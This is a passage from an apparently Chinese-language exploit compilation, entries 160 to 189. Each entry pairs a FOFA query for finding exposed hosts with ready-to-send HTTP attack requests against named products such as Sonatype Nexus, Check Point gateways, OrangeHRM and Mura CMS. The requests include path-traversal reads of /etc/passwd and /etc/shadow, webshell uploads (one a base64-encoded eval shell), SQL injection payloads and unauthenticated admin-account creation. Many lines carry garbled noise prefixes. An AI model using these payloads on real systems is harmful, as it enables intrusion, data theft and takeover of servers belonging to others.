8 k! W8 K! V5 E; Z" g( M% K  ?5 u<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
# R( `( Y: g- c, G  u! H</soap:Envelope>

9 e7 z6 A/ k" b( J6 s! C, R4 V
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

: @7 ~1 D1 f3 \* Z! ^" S
160. Sonatype Nexus Repository 3目录遍历与文件读取
6 }, M, k3 l$ v+ ~) F8 m% H7 a9 f1 L( bCVE-2024-4956
+ X2 H5 X- \. P$ b4 F- X/ q5 |( uFOFA：title="Nexus Repository Manager"
& F, h( R( G( c2 l$ QGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
) }, m3 n% F6 k3 @3 w& xHost: x.x.x.x
5 w; T: N! o: |7 [* dUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
' B$ z0 E& l3 B7 ]Accept-Language: en
Accept-Encoding: gzip

2 S+ V" {' H9 q# Q
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
6 i8 H% M" G0 o1 E* L8 w6 V! D1 ^FOFA：body="/KT_Css/qd_defaul.css"
/ q2 C- G1 u2 i" D1 G* T$ \第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
1 M- _0 V- k8 z& rPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
! Y$ t9 V9 s# ~" A% ~Accept-Encoding: gzip
4 z/ l$ Q/ {5 {5 V) \
<?xml version="1.0" encoding="utf-8"?>
3 }: R! B' k/ b. z) u6 z6 B" x<soap:Envelope xmlns:xsi="
0 b( ]# p$ G  `$ Uhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
7 g8 h: D  K, w1 hxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
; \. R7 n/ A/ l, C; ?0 d<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
4 @# |% N+ H2 g4 e: m<fileName>../../../../dizxdell.aspx</fileName>
3 \" j1 k5 j! G2 z7 G<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
( {& I* M5 ^/ k* z8 a+ @2 A- F<tag>3</tag>
  H5 c' Z" H) w8 p4 Z0 f</UploadResume>
</soap:Body>
7 H* h. s4 ^2 R. s+ u6 A</soap:Envelope>
- O3 M% @7 R8 k+ D* j1 m
- L1 h! r3 z& {) Q$ W% L
7 \8 [, l3 w; y3 jhttp://x.x.x.x/dizxdell.aspx
: x" D; Z" z# p# D3 {& P- W2 d
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
6 ^3 `6 f. h0 ]4 A* F. mPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
9 B3 m  F7 ^) M' D; p. yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
- G! n4 S2 N# I2 ]! wContent-Length: 583
; J" L$ B" {2 t- b, a' _. P% `0 d& zContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
$ T7 W/ S$ v6 L: R- g3 Z3 E. q, gContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
, Z- j  N; ]8 C# H& z
6 k5 [( M# y  o5 U2 \4 @4 b2 N( bupload
  y' u1 N, A8 U$ j------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
2 n" n4 w# w0 a" s9 w7 A
ResourceNewResponder
. b9 h7 i/ u- V5 g1 ^5 r6 O' p6 q------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
+ F" `. D/ g3 I  O
3 r/ `8 j, k  s! c/opt/resources
8 V8 B1 b5 ]$ X6 v' I% c& q& q------WebKitFormBoundaryeegvclmyurlotuey--
6 c7 r$ D  v) _3 t
6 W7 q/ k; D4 n1 Y. `! E: A; g$ y
6 K4 _7 ]5 i9 c" whttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

3 P0 f8 I$ I+ H7 }163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
3 ]" \  J- G9 c. o- \FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
& s2 d" p- ~5 m) P% t3 a4 R7 VHost: x.x.x.x
, X7 }  G( c& Q2 @! t, y2 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
8 G! n) }+ r) _! \Connection: close
Content-Length: 293
5 w* k2 A7 j1 f. |* U9 \Accept: */*
Accept-Encoding: gzip, deflate
2 s0 b1 u9 n" W5 q" E; E. AAccept-Language: zh-CN,zh;q=0.9
) }5 _% r. X- D2 [1 b+ J+ iContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

0 B+ S( i% P+ j! m------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

% ^  @& S4 g- e7 v; f7 ~1.php
8 z5 f3 Q+ C5 U: ]- c( ?" d& p------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
, Z+ t3 e$ b9 |+ `Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

* v& |: Q2 L7 I+ F0 }$ b- E
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
& ?. G& C5 W% V1 |. G: a/ x3 VHost: x.x.x.x
5 s# |+ b+ V6 m& QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
) a/ H. V) Y5 I* J$ |6 |/ R0 aContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
2 f" D) k4 A* n! [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
, b0 }6 g/ S/ H& yConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

4 g" S8 C. s+ {, |7 E9 o------dqdaieopnozbkapjacdbdthlvtlyl
6 |! S3 u0 ?) kContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
& @+ d- L, L/ G! n# d: N
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
; z% p6 h: N# R# j/ f7 }------dqdaieopnozbkapjacdbdthlvtlyl--


0 i/ V4 H! ~9 f$ S7 v- Jhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

8 f3 x. u8 ]2 V+ Q2 X# s& Q# ~4 s165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
  C$ d( w. J. t. [  D6 }6 ^URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

$ Y/ Q0 n. ^3 s' v) e- f! ?
166. 中成科信票务管理平台SeatMapHandler SQL注入
: _0 C1 K/ z- R+ _" |5 TFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
+ W* K5 _* z: T+ i1 }' H( BHost:
* T0 K5 q8 D( u: b* ?9 f! NPragma: no-cache
Cache-Control: no-cache
' e% b1 P' X: X& x1 j* Z  E5 y* EUpgrade-Insecure-Requests: 1
$ k  s* x. t7 t& `3 m& h( CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
: \# i8 h. g6 C! Q3 \8 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
: d; ~9 a. C. G1 |: O: B5 [, CCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

/ L5 o0 X% Q6 a; ^: [
167. 精益价值管理系统 DownLoad.aspx任意文件读取
4 [9 ]! Y; W9 r* ^  O/ NFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
# `( A( D3 o# Q" @3 d) hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. c; y8 D' E; E. }9 [1 X) d0 ^Content-Type: application/x-www-form-urlencoded
) O; N* ]3 ^& zAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
4 t1 a. B& }8 K4 H0 D% u

168. 宏景EHR OutputCode 任意文件读取
* G4 f6 U, W1 J8 y  |( Z5 x# KFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
7 ^+ W9 c1 @( u  ~. T) c3 xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
& l2 N; U  n/ a3 I1 h  m- `' Y, v. k
) d- P/ D1 G# b3 N

% `! J  m0 U6 z0 {  A$ g169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
) ?, z! {; A5 c, k6 P9 P5 ^Host: your-ip
6 w, c9 k/ d! I# j1 h) u4 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
, f0 e, _8 g5 D* U+ a, [2 R


1 A: q1 T* T7 j$ U$ }170. 宏景EHR DisplayExcelCustomReport 任意文件读取
! M; A& n! e6 }) }  M0 }FOFA：body="/general/sys/hjaxmanage.js"
- [8 w# D% b0 b  ]9 q6 OPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
3 L  I2 c9 W4 j) RUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ Z3 H8 H9 m' e5 K$ N" SContent-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
9 X) |' w, @* P  M

0 P4 o' D3 e7 ~3 P; \; s171. 通天星CMSV6车载定位监控平台 SQL注入
. x( S# F# m' N; @3 |( d: Y2 s- cFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
! V1 B+ i" D% P2 _; h' @Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; z+ \" M/ C$ |( D; }Accept-Encoding: gzip, deflate
Connection: close
6 ?; J6 {4 @- w7 h( c' W+ A& g+ {9 \

2 O  B# W( R' J- H. B/ F3 X
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
0 H6 A. N% G6 R2 mHost: your-ip
) v" |3 K0 a9 Y' |. v5 X3 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! z, h3 ~4 l8 oAccept-Encoding: gzip, deflate
0 T- T: T* D" `7 Y3 vAccept: */*
4 v' F  f) e1 ^0 `& xConnection: keep-alive
5 \2 E! t' b: f6 c& I/ j

2 J9 o9 r3 z6 k/ R
173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
( T5 g9 [/ O% a. m$ nPOST /clients/MyCRL HTTP/1.1
1 y# W$ F1 P* `6 Y% hHost: your-ip
" y" ]/ G* `* ]  y9 x+ N7 bContent-Type: application/x-www-form-urlencoded
5 f' f$ |* b1 u; F5 N
aCSHELL/../../../../../../../etc/shadow
5 L8 A: j6 j4 ]1 C. c* r7 e


/ \7 w2 s/ Y7 o& H  M' K174. 金和OA C6 FileDownLoad.aspx 任意文件读取
. B7 p4 g5 F5 x- h1 a* eFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
! |, x+ V' a9 n& ZHost: your-ip
/ w' p( Y% L2 h0 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 j/ M  ]0 @: Q! kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
1 T3 S& z- t- u) eAccept-Language: zh-CN,zh;q=0.9
Connection: close
% J, T( d- k5 T( c7 o8 g1 @

9 L1 B3 `2 K# a, d7 n* o) h. i
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
/ p) q. ~" @2 z. [GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
; J' W6 \- T  J7 D: J& z0 K; fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
# }9 h/ |! b8 r9 w. H$ |, {# b- w

/ i! V3 w: H2 O2 C8 u176. 电信网关配置管理系统 rewrite.php 文件上传
  x. y+ C4 {- R! l) g% H+ [FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
4 I# `2 M/ V7 W2 e7 ^$ u( k" a1 e$ w2 cContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
1 a7 z" P% {9 C+ L% b
------WebKitFormBoundaryOKldnDPT
( d( Z4 b. b  Y1 E7 eContent-Disposition: form-data; name="tmp_name"; filename="test.php"
! N( i6 l7 L& G/ Z" e# MContent-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

  y9 \+ _* H$ S: r) G  M
------WebKitFormBoundaryOKldnDPT--
" p! S( u* J- o0 `


9 N, m& s4 J! B, h/ w% z177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
" v' ^* H3 Q6 B% O* r* M* g1 R+ C/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
( e9 a" n% G* G" n( M$ v1 |/userLogin.asp/../actionpolicy_status/../GR3200.cfg
) W3 Z7 S0 w" `4 z. b# r/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
! e# S) t; l- r, k  R: q6 h6 o/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
* Y+ Z$ O5 B; s6 T; f/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
8 d5 e! @( d- f. K( h/userLogin.asp/../actionpolicy_status/../ER3260.cfg
$ r3 d9 r& d! {& X) X, X5 R1 K/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
$ I- h! C" `; d# q0 W" Y9 ^6 V/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
, ^; e3 F6 L8 e. w9 h* Z/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
) w& `, Z7 {- a: Q! b- q/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

4 \  S/ h' u( a+ P- \4 k9 N/ R
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! m3 n  A7 L4 S' OContent-Length: 252
. K  _: L& N. {2 l) F& q! o) j% K7 KAccept-Encoding: gzip, deflate
& u" n: m& u& K" c% y( WConnection: close
' f9 ?) G! O8 BContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
' Z# g) w- T5 zContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
7 N- B( o6 e6 ], A/ W# x: [Content-Length: 255
( `# q% Z+ j( o/ a& @( S
12234
; s$ u2 ~. ?( u7 j9 l: o-----------------aqutkea7vvanpqy3rh2l--
& ?7 Y( A% w# j+ @( ?( n% t- e0 `* H

$ @( k7 @5 `  l$ dGET /imc/primepush/%2e%2e/flex/12234.txt
# _' ^- t$ y5 W; D9 E: V

179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
0 s" p; i- [6 Z# K' {0 c& r) PHost: {{Hostname}}
8 c) K# A& _" KContent-Type: application/x-www-form-urlencoded
( N+ `/ O; c. ~* v: KUser-Agent: Mozilla/5.0
+ ]% }+ F1 V; K) A0 \8 {
4 V) V  Q9 a- m9 G/ J% Tpath=../log4net.config&Name=

+ o" I: ^$ N% h1 O9 y
7 x/ f1 ^1 K& g+ T! r( W, X& T2 ~180. 帮管客 CRM jiliyu SQL注入
4 q& j' Z8 u. }8 dFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
! w  E8 M6 J; {8 THost: your-ip
6 D+ D. G2 K9 q- `  E9 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ ~6 {9 r  p& ^2 u1 c% VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 H4 p: Z0 M, Z, C) ~3 _0 mAccept-Encoding: gzip, deflate
9 S4 p$ Z# {6 Y& k; LAccept-Language: zh-CN,zh;q=0.9
Connection: close
/ @2 b2 z4 }7 @5 o+ Z% g

' `; F2 V  G$ G* W181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
' C; |3 q& y+ M& x4 j# [FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
- S. J7 H* m' [+ E- O0 e: j& QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
% D2 q' I0 X8 a; A- OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 L. A/ V+ l6 y( D+ N# E1 wAccept-Encoding: gzip, deflate, br
/ y7 a/ \& E+ Q$ s! Q1 I8 g7 H$ KAccept-Language: zh-CN,zh;q=0.9
2 W. z4 P1 x- y% z) s0 D! aConnection: close
Content-Type: application/x-www-form-urlencoded


4 m7 j" ~6 L- C2 paction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
& p. k) @4 v# L5 T: M9 r
6 _! n" f/ D! D: T
. O, n/ p, B9 }& t1 _182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
5 X% S$ k' M! B4 U& ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' Y- @" j8 N$ l- m& z" ZAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
% U2 M* s& m. b1 x, ^  rConnection: close
Content-Type: application/x-www-form-urlencoded

) Y1 w+ c( Z$ j  }9 \
0 I: f& Q0 A3 b- ]% lusername=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
' j/ F; ]; b9 d! z# K$ S. K$ N0 gUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
. C# O. C- \$ W$ ^

7 I9 N- C' h* S! i184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
" L5 k; ]4 S3 x) lPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
# a" Q" s8 s( p2 D( m2 O- EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
( ^5 k2 L: ~9 S- _Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& ?/ C8 [0 x9 z/ Z8 [X-Requested-With: XMLHttpRequest
2 b3 O1 a2 M& |$ Y- _) t' q6 l

" Y% n1 J0 P7 [5 ?: \insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
5 v; R! L/ N. C/ S: i9 [' q( f

1 H7 q8 o* q( @: [2 d: Q185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
* L) \# S4 H! L& B/ }* r& s: N" jFOFA：app="REALOR-天翼应用虚拟化系统"
1 ~' O$ e( Q; _  @GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
* t3 G+ ^9 r  O/ oHost: host


* k3 _) o+ ]" b* |1 W186. F-logic DataCube3 SQL注入
CVE-2024-31750
1 H  O, a$ O! G5 u) D3 q6 LF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
4 k& o" U% i$ LFOFA：title=="DataCube3"
9 q0 t* }% ~+ y& P% |' Q; aPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
0 |  S- W( l6 S% w5 c! W; J: BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
6 L2 `' d3 m: I  @. f" i: xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 W% x" M7 h2 a) R% y  p4 u1 `Accept-Encoding: gzip, deflate
Connection: close
6 B5 H- S) X5 `) M5 yContent-Type: application/x-www-form-urlencoded

9 f6 q5 e* P* k7 J2 s" L' I! Kreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
4 a" P, C+ }4 P) Q7 \; ICVE-2024-32640
0 m9 O9 y2 d9 u$ HFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
* q8 S7 E; D5 r( c; a! m( gHost: your-ip
: T* l7 D9 u, K' Q% s4 ~3 }Content-Type: application/x-www-form-urlencoded
( T. @% J  ]; X( C  k

4 z1 p) v3 h  g, U8 O6 |& Pobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
' X  R( i0 k3 r
: u" |: Z8 ?7 a4 a! {3 f: h
5 C* J4 b2 I0 l( T: c; n3 N2 U188. 叁体-佳会视频会议 attachment 任意文件读取
6 H9 I: o  m  |version <= 3.9.7
/ Y6 r7 d' e" p0 q% i4 GFOFA：body="/system/get_rtc_user_defined_info?site_id"
& A; u! ~" C! e6 q$ K! D2 c" jGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
& m. A" t7 {8 W( I$ m) A) MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 o& d* D. P1 x1 r: [Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
5 w& p! [  T% K3 fConnection: close

. f& Z( c: c2 j" |* P; s
2 o# [; |2 v4 g# V7 k; |189. 蓝网科技临床浏览系统 deleteStudy SQL注入
